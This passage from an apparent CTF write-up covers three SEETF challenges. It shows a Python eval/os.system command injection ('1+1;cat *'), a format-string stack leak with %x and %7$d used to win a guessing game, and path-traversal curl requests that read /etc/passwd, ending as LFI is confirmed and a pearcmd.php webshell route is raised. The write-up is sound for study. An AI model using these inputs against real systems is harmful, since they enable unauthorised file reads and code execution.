|::::/&lt;span class="s1"&gt;''&lt;/span&gt; jgs /     |       &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="se"&gt;\:&lt;/span&gt;:::|
&lt;span class="s1"&gt;'""""       /'&lt;/span&gt;    .L_      &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="s2"&gt;""""&lt;/span&gt;&lt;span class="s1"&gt;'
           /'&lt;/span&gt;-.,__/&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\_&lt;/span&gt;_..-&lt;span class="s1"&gt;'\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/
What would you like to do today?
1. Weather
2. Time
3. Tiktok of the day
4. Read straits times
5. Get flag
6. Exit
&amp;gt;&amp;gt; 4
which news article you want babe :)   "1+1;cat *"
SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}WAYYANG DECLARED SEXIEST MAN ALIVE

SINGAPORE - In the latest edition of Mister Universe, Wayyang won again, surprising absolutely no one.
The judges were blown away by his awesome abdominals and stunned by his sublime sexiness.
When asked for his opinions on his latest win, Wayyang said nothing, choosing to smoulder into the distance.# /usr/bin/sh
python wayyang.py#!/usr/local/bin/python
import os

FLAG_FILE = "FLAG"

def get_input() -&amp;gt; int:
    print('''&lt;/span&gt;                 ,#####,
                 &lt;span class="c"&gt;#_   _#&lt;/span&gt;
                 |a&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;a|
                 |  u  |            ________________________
                 &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  /           |        WAYYANG         |
                 |&lt;span class="se"&gt;\_&lt;/span&gt;__/|           &amp;lt;     TERMINAL  v1.0     |
        ___ ____/:     :&lt;span class="se"&gt;\_&lt;/span&gt;___ ___  |________________________|
      .&lt;span class="s1"&gt;'   `.-===-\   /-===-.`   '&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
     /      .-&lt;span class="s2"&gt;"""""-.-"""""&lt;/span&gt;-.      &lt;span class="se"&gt;\\&lt;/span&gt;
    /&lt;span class="s1"&gt;'             =:=             '&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;
  .&lt;span class="s1"&gt;'  '&lt;/span&gt; .:    o   -&lt;span class="o"&gt;=&lt;/span&gt;:&lt;span class="o"&gt;=&lt;/span&gt;-   o    :. &lt;span class="s1"&gt;'  `.
  (.'&lt;/span&gt;   /&lt;span class="s1"&gt;'. '&lt;/span&gt;-.....-&lt;span class="s1"&gt;'-.....-'&lt;/span&gt; .&lt;span class="s1"&gt;'\   '&lt;/span&gt;.&lt;span class="o"&gt;)&lt;/span&gt;
  /&lt;span class="s1"&gt;' ._/   ".     --:--     ."   \_. '&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;
 |  .&lt;span class="s1"&gt;'|      ".  ---:---  ."      |'&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;  |
 |  : |       |  &lt;span class="nt"&gt;---&lt;/span&gt;:---  |       | :  |
  &lt;span class="se"&gt;\ &lt;/span&gt;: |       |_____._____|       | : /
  /   &lt;span class="o"&gt;(&lt;/span&gt;       |----|------|       &lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="se"&gt;\\&lt;/span&gt;
 /... .|      |    |      |      |. ...&lt;span class="se"&gt;\\&lt;/span&gt;
|::::/&lt;span class="s1"&gt;''&lt;/span&gt; jgs /     |       &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="se"&gt;\:&lt;/span&gt;:::|
&lt;span class="s1"&gt;'""""       /'&lt;/span&gt;    .L_      &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\ &lt;/span&gt;      &lt;span class="s2"&gt;""""&lt;/span&gt;&lt;span class="s1"&gt;'
           /'&lt;/span&gt;-.,__/&lt;span class="sb"&gt;`&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\_&lt;/span&gt;_..-&lt;span class="s1"&gt;'\\
          ;      /     \      ;
          :     /       \     |
          |    /         \.   |
          |`../           |  ,/
          ( _ )           |  _)
          |   |           |   |
          |___|           \___|
          :===|            |==|
           \  /            |__|
           /\/\           /"""`8.__
           |oo|           \__.//___)
           |==|
           \__/'''&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"What would you like to do today?"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"1. Weather"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"2. Time"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"3. Tiktok of the day"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"4. Read straits times"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"5. Get flag"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"6. Exit"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    choice &lt;span class="o"&gt;=&lt;/span&gt; int&lt;span class="o"&gt;(&lt;/span&gt;input&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;gt;&amp;gt; "&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;return &lt;/span&gt;choice


&lt;span class="k"&gt;if &lt;/span&gt;__name__ &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'__main__'&lt;/span&gt;:
    choice &lt;span class="o"&gt;=&lt;/span&gt; get_input&lt;span class="o"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;choice &lt;span class="o"&gt;==&lt;/span&gt; 1:
        print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"CLEAR SKIES FOR HANDSOME MEN"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif &lt;/span&gt;choice &lt;span class="o"&gt;==&lt;/span&gt; 2:
        print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"IT'S ALWAYS SEXY TIME"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif &lt;/span&gt;choice &lt;span class="o"&gt;==&lt;/span&gt; 3:
        print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://www.tiktok.com/@benawad/video/7039054021797252399"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elif &lt;/span&gt;choice &lt;span class="o"&gt;==&lt;/span&gt; 4:
        filename &lt;span class="o"&gt;=&lt;/span&gt; input&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"which news article you want babe :)   "&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        not_allowed &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;char &lt;span class="k"&gt;for &lt;/span&gt;char &lt;span class="k"&gt;in &lt;/span&gt;FLAG_FILE]

        &lt;span class="k"&gt;for &lt;/span&gt;char &lt;span class="k"&gt;in &lt;/span&gt;filename:
            &lt;span class="k"&gt;if &lt;/span&gt;char &lt;span class="k"&gt;in &lt;/span&gt;not_allowed:
                print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"NICE TRY. WAYYANG SEE YOU!!!!!"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                os.system&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"cat news"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;

        try:
            os.system&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"cat {eval(filename)}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        except:
            pass
    &lt;span class="k"&gt;elif &lt;/span&gt;choice &lt;span class="o"&gt;==&lt;/span&gt; 5:
        print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"NOT READY YET. MAYBE AFTER CTF????"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;base&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;hacker@hackerbook ~]&lt;span class="nv"&gt;$ &lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  4mats
&lt;/h2&gt;

&lt;p&gt;Well my writeup while doing the challenge got lost so I had to redo this challenge. Fortunately it was a fun take on the format string vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  Analysis
&lt;/h3&gt;

&lt;p&gt;I read the source code given in &lt;code&gt;vuln.c&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;time.h&amp;gt;

char name[16];
char echo[100];
int number;
int guess;
int set = 0;
char format[64] = {0};


void guess_me(int fav_num){
    printf("Guess my favourite number!\n");
    scanf("%d", &amp;amp;guess);
    if (guess == fav_num){
        printf("Yes! You know me so well!\n");
    system("cat flag");
        exit(0);}
   else{
       printf("Not even close!\n");
   }

}


int main() {

mat1:
    printf("Welcome to SEETF!\n");
    printf("Please enter your name to register: %s\n", name);
    read(0, name, 16);

    printf("Welcome: %s\n", name);

    while(1) {
mat2:
        printf("Let's get to know each other!\n");
        printf("1. Do you know me?\n");
        printf("2. Do I know you?\n");

mat3:
        scanf("%d", &amp;amp;number);


        switch (number)
        {
            case 1:
                srand(time(NULL));
                int fav_num = rand() % 1000000;
        set += 1;
mat4:
                guess_me(fav_num);
                break;

            case 2:
mat5:
                printf("Whats your favourite format of CTFs?\n");
        read(0, format, 64);
                printf("Same! I love \n");
        printf(format);
                printf("too!\n");
                break;

            default:
                printf("I print instructions 4 what\n");
        if (set == 1)
mat6:
                    goto mat1;
        else if (set == 2)
            goto mat2;
        else if (set == 3)
mat7:
                    goto mat3;
        else if (set == 4)
                    goto mat4;
        else if (set == 5)
                    goto mat5;
        else if (set == 6)
                    goto mat6;
        else if (set == 7)
                    goto mat7;
                break;
        }
    }
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most interesting things is that there are gotos which we could potentially abuse, some like &lt;code&gt;mat4&lt;/code&gt; even in places where the variables are not initialised properly yet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps
&lt;/h3&gt;

&lt;p&gt;Firstly I increased &lt;code&gt;set&lt;/code&gt; to 1&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ nc fun.chall.seetf.sg 50001
Welcome to SEETF!
Please enter your name to register: 
hacker
Welcome: hacker

Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0 
Not even close!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then displayed the contents on the stack using the format string vulnerability&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?
%x %x %x %x %x %x %x %x %x %x %x %x 
Same! I love 
804a080 40 8048756 1 ffcecec4 ffcececc 85822 f7fbe3dc ffcece30 0 f7e26647 f7fbe000 
too!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I increased the value of &lt;code&gt;set&lt;/code&gt; to 2 and viewed the contents on the stack. Noticed that the 7th value &lt;code&gt;cf9e5&lt;/code&gt; is different from the previous 7th value &lt;code&gt;85822&lt;/code&gt;. The only values that changed so far are &lt;code&gt;set = 2&lt;/code&gt; and &lt;code&gt;fav_num&lt;/code&gt;. We can hence infer that the 7th value is &lt;code&gt;fav_num&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
Whats your favourite format of CTFs?

Same! I love 

x 804a080 40 8048756 1 ffcecec4 ffcececc cf9e5 f7fbe3dc ffcece30 0 f7e26647 
too!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I increased the value of &lt;code&gt;set&lt;/code&gt; to 3 and then to 4&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
1
Guess my favourite number!
0
Not even close!
Let's get to know each other!
1. Do you know me?
2. Do I know you?
2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I displayed the 7th value on the stack in denary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Whats your favourite format of CTFs?
%7$d
Same! I love 
610084
 804a080 40 8048756 1 ffcecec4 ffcececc 94f24 f7fbe3dc ffcece30 0 
too!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lastly, i jumped to &lt;code&gt;mat4&lt;/code&gt; by not selecting any of the current options, and entered the &lt;code&gt;fav_num&lt;/code&gt; to get the flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Let's get to know each other!
1. Do you know me?
2. Do I know you?
4
I print instructions 4 what
Guess my favourite number!
610084
Yes! You know me so well!
SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}
┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Web - Sourceless Guessy Flag
&lt;/h1&gt;

&lt;p&gt;I only managed to solve Sourceless Guessy Web. It was a surprise that I even manage to solve the RCE Flag. &lt;/p&gt;

&lt;h2&gt;
  
  
  Solution (Baby Flag)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PJM0dV_0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447251299/XFEnd9p4k.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PJM0dV_0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447251299/XFEnd9p4k.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MH59yQ-2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447280779/O5E-jA8oE.png%2520align%3D%2522right%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MH59yQ-2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447280779/O5E-jA8oE.png%2520align%3D%2522right%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Llqz449q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447141522/ayZR1CLRr.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Llqz449q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447141522/ayZR1CLRr.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The hint for this challenge is file path traversal. A brief summary of file path traversal (if you haven't read the hint)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Web server code wants to access a local file. In this case is &lt;code&gt;sourcelessguessyweb.chall.seetf.sg:1337/?page=whysoserious&lt;/code&gt;

&lt;ol&gt;
&lt;li&gt;the &lt;code&gt;whysoserious&lt;/code&gt; is a file that is in the current directory.&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;In Linux, you can use &lt;code&gt;../&lt;/code&gt; to traverse up one directory. You can chain multiple of those together to traverse back up multiple directories (eg. &lt;code&gt;../../../&lt;/code&gt; for 3 directories)

&lt;ol&gt;
&lt;li&gt;You can just spam &lt;code&gt;../&lt;/code&gt; until you reach root. eg. even though in phpinfo.php the current working directory is &lt;code&gt;/var/www/html&lt;/code&gt;, you can theoretically spam 3 or more of &lt;code&gt;../&lt;/code&gt; to reach the root directory&lt;/li&gt;
&lt;li&gt;For example, &lt;a href="http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../../../etc/passwd"&gt;http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../../../etc/passwd&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;li&gt;Once you traverse to the root directory, you can access most files from the root directory, like &lt;code&gt;/etc/passwd&lt;/code&gt;

&lt;ol&gt;
&lt;li&gt;This is subject to the user running the web server (eg. &lt;code&gt;www-data&lt;/code&gt; running the &lt;code&gt;apache2&lt;/code&gt; web server) has sufficient permissions to access the file&lt;/li&gt;
&lt;li&gt;This means you can't just anyhow access files which require root access like &lt;code&gt;/etc/shadow&lt;/code&gt;. The current user does not have enough permissions&lt;/li&gt;
&lt;li&gt;Since you can't anyhow access files, most people use this path traversal vulnerability and lead to remote code execution&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QdS-irgR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447160714/bNXnCeV8K.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QdS-irgR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654447160714/bNXnCeV8K.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The standard hacking protocol calls me to access &lt;code&gt;/etc/passwd&lt;/code&gt;, as it is able to be read by any user. It is the file that provides the list of users in Linux, along with other details like their home directories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(base) [hacker@hackerbook ~]$ curl http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../etc/passwd

...

    let message = `
        root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Solution (RCE Flag)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Confirming LFI or just Directory Traversal
&lt;/h3&gt;

&lt;p&gt;This is likely overlooked, but there's a difference between Local File Inclusion and Directory Traversal&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Local File Inclusion (LFI)&lt;/th&gt;
&lt;th&gt;Only Directory Traversal&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File is loaded and Executed as code&lt;/td&gt;
&lt;td&gt;File is loaded, and only shown as text in the resultant webpage&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;It's a good idea to confirm that the Directory Traversal vulnerability is actually LFI and can run code. If it can run code, we can use this vulnerability to access custom code and lead to Remote Code Execution. Else, we have to try to leak an important file which allows for RCE, which is unlikely in a Docker Container.&lt;/p&gt;

&lt;p&gt;Firstly, on opening the first link from the home page, we are directed to a &lt;code&gt;phpinfo&lt;/code&gt; page&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rJ8wsVfZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654448468665/hIq21nKbV.png%2520align%3D%2522left%2522" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rJ8wsVfZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1654448468665/hIq21nKbV.png%2520align%3D%2522left%2522" alt="image.png" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I tried traversing to that file to test if code is executed in the vulnerability. If it is not, the text returned should be something like &lt;code&gt;&amp;lt;?php phpinfo();?&amp;gt;&lt;/code&gt;, to show the contents of the &lt;code&gt;phpinfo.php&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Fortunately, I instead got the output of phpinfo, showing that it is an LFI vulnerability&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl "http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/hi.php" 

...

&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;table&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;System &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;Linux app-6799f56885-p78l5 5.4.170+ #1 SMP Wed Mar 23 10:13:41 PDT 2022 x86_64 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Build Date &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;May 13 2022 22:25:02 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Build System &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;Linux 919d1ff24703 5.10.0-13-cloud-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64 GNU/Linux &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Configure Command &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt; &amp;amp;#039;./configure&amp;amp;#039;  &amp;amp;#039;--build=x86_64-linux-gnu&amp;amp;#039; &amp;amp;#039;--with-config-file-path=/usr/local/etc/php&amp;amp;#039; &amp;amp;#039;--with-config-file-scan-dir=/usr/local/etc/php/conf.d&amp;amp;#039; &amp;amp;#039;--enable-option-checking=fatal&amp;amp;#039; &amp;amp;#039;--with-mhash&amp;amp;#039; &amp;amp;#039;--with-pic&amp;amp;#039; &amp;amp;#039;--enable-ftp&amp;amp;#039; &amp;amp;#039;--enable-mbstring&amp;amp;#039; &amp;amp;#039;--enable-mysqlnd&amp;amp;#039; &amp;amp;#039;--with-password-argon2&amp;amp;#039; &amp;amp;#039;--with-sodium=shared&amp;amp;#039; &amp;amp;#039;--with-pdo-sqlite=/usr&amp;amp;#039; &amp;amp;#039;--with-sqlite3=/usr&amp;amp;#039; &amp;amp;#039;--with-curl&amp;amp;#039; &amp;amp;#039;--with-iconv&amp;amp;#039; &amp;amp;#039;--with-openssl&amp;amp;#039; &amp;amp;#039;--with-readline&amp;amp;#039; &amp;amp;#039;--with-zlib&amp;amp;#039; &amp;amp;#039;--disable-phpdbg&amp;amp;#039; &amp;amp;#039;--with-pear&amp;amp;#039; &amp;amp;#039;--with-libdir=lib/x86_64-linux-gnu&amp;amp;#039; &amp;amp;#039;--disable-cgi&amp;amp;#039; &amp;amp;#039;--with-apxs2&amp;amp;#039; &amp;amp;#039;build_alias=x86_64-linux-gnu&amp;amp;#039; &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Server API &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;Apache 2.0 Handler &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Virtual Directory Support &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;disabled &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Configuration File (php.ini) Path &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;/usr/local/etc/php &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Loaded Configuration File &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;(none) &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Scan this dir for additional .ini files &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;/usr/local/etc/php/conf.d &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;&amp;lt;td class="e"&amp;gt;Additional .ini files parsed &amp;lt;/td&amp;gt;&amp;lt;td class="v"&amp;gt;/usr/local/etc/php/conf.d/docker-php-ext-sodium.ini
 &amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How I found the exploit out in the CTF
&lt;/h3&gt;

&lt;p&gt;I randomly tried accessing &lt;code&gt;/tmp/hi.php&lt;/code&gt; because I tried creating it via another exploit (phpinfo LFI to RCE). Never expect someone else already create it. It included the file &lt;code&gt;/usr/local/lib/php/pearcmd.php&lt;/code&gt; and realised this could lead to a webshell.&lt;/p&gt;

